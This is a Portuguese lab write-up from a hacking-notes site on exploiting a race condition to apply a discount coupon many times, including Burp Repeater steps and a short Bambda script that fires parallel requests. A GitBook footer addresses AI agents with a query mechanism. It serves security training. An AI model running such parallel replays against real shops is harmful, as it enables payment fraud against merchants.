> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/race-conditions/race-conditions-that-bypass-limits.md).

# Condições de Corrida que Burlam Limites

### Condições de corrida por ultrapassagem de limite

O fluxo de compra contém uma **condição de corrida** que permite obter um **preço inesperado** no momento do pagamento.

#### Objetivo

Compre com sucesso o **Jaqueta de couro L33t leve**.

#### Dados / Pré-requisitos

* Credenciais: `wiener:peter`
* Código de desconto (20%): `PROMO20`
* Crédito disponível: **$50**

<figure><img src="/files/d3138fb97cb08f79b9220d94eb4dea71b3a8aa8f" alt=""><figcaption></figcaption></figure>

* Custo da jaqueta: **$1300**

<figure><img src="/files/0ca4fa8abfb088d4ee472f8027b4a5b3e12f2521" alt=""><figcaption></figcaption></figure>

### Observação de comportamento

1. Adicione a jaqueta ao carrinho.
2. Aplique o `PROMO20` cupom.
3. Se você tentar aplicar o cupom uma segunda vez, a aplicação responde: **Cupom já aplicado**.

<figure><img src="/files/fd30200e226e3c1a2a311d3681bae3f69617ed18" alt="" width="563"><figcaption></figcaption></figure>

A requisição de aplicação do cupom é assim (formulário codificado em URL):

```bash
csrf=7QYFGBaACc8P5YOfUHR4S85oo95uA0Vb&coupon=PROMO20
```

### Exploração manual (Burp Repeater)

1. Envie a requisição de aplicação para **Repeater**.
2. Crie um **grupo** no Repeater.

<figure><img src="/files/c1259c5feb526ae336e3d2ce04233f885cb661f4" alt="" width="563"><figcaption></figcaption></figure>

* Duplique a aba da requisição \~20 vezes (**Duplicar aba**).

<figure><img src="/files/484452bdc67d281f06266f30acf85647a8dbea76" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/45869cb387528efc85ff09f3e9b380c23155069a" alt=""><figcaption></figcaption></figure>

Enviar requisições **em paralelo**.

<figure><img src="/files/53208fc47da4c8a69a302434c8aece93ee44d6c8" alt=""><figcaption></figcaption></figure>

O resultado é que a maioria das requisições é **validada**, e o total se torna **/\~37**, o que permite comprar apesar do preço original ($1300) e do crédito limitado.

<figure><img src="/files/460e405e2f3091605a6dbefd0f0b2272f420b891" alt=""><figcaption></figcaption></figure>

### Exploração automatizada (Ação personalizada do Burp Suite Pro)

O laboratório recomenda usar **Disparar condições de corrida** (Burp Suite Professional) por meio de uma **ação personalizada**.

#### 1) Adicione o script (Biblioteca Bambda)

Vá para **Extensões → biblioteca Bambda** e adicione:

* **id**: `eb57d5bd-33e2-4a8c-bf51-bc81bd26613a`
* **parâmetro**: `Verificar condição de corrida`
* **função**: `CUSTOM_ACTION`
* **localização**: `REPEATER`

```javascript
id: eb57d5bd-33e2-4a8c-bf51-bc81bd26613a
nome: Verificar condição de corrida
função: CUSTOM_ACTION
localização: REPEATER
source: |+
  /**
  * Repete a requisição 10 vezes para disparar condições de corrida ou request smuggling, usando o ataque de pacote único para HTTP/2 e a sincronização do último byte para HTTP/1
  *
  * @author James Kettle
  **/
  int NUMBER_OF_REQUESTS = 10;
  var reqs = new ArrayList<HttpRequest>();
  for (int i = 0; i < NUMBER_OF_REQUESTS; i++) {
      reqs.add(requestResponse.request());
  }

  var responses = api().http().sendRequests(reqs);
  var codes = responses.stream().map(HttpRequestResponse::response).map(HttpResponse::statusCode).toList();
  logging().logToOutput(codes);
```

<figure><img src="/files/19bb4ae52771a6434dd62ae283007debfe96168c" alt=""><figcaption></figcaption></figure>

#### 2) Inicie a partir do Repeater

1. No Repeater: **ação personalizada** → adicione a partir de exemplos.

<figure><img src="/files/c0ab8a05fcc346f127034fda2160161d9ad9f309" alt="" width="548"><figcaption></figcaption></figure>

* Carregue a ação personalizada criada.

<figure><img src="/files/6f7133fbf162cb87984a1da193fa41708cf55667" alt=""><figcaption></figcaption></figure>

Teste com **30 requisições**.

vemos **códigos de status** (para 30 envios) e podemos disparar a condição de corrida mais facilmente

<figure><img src="/files/8ecf379c00ba5ca5e92721e8933e7ad606a93cd2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/race-conditions/race-conditions-that-bypass-limits.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
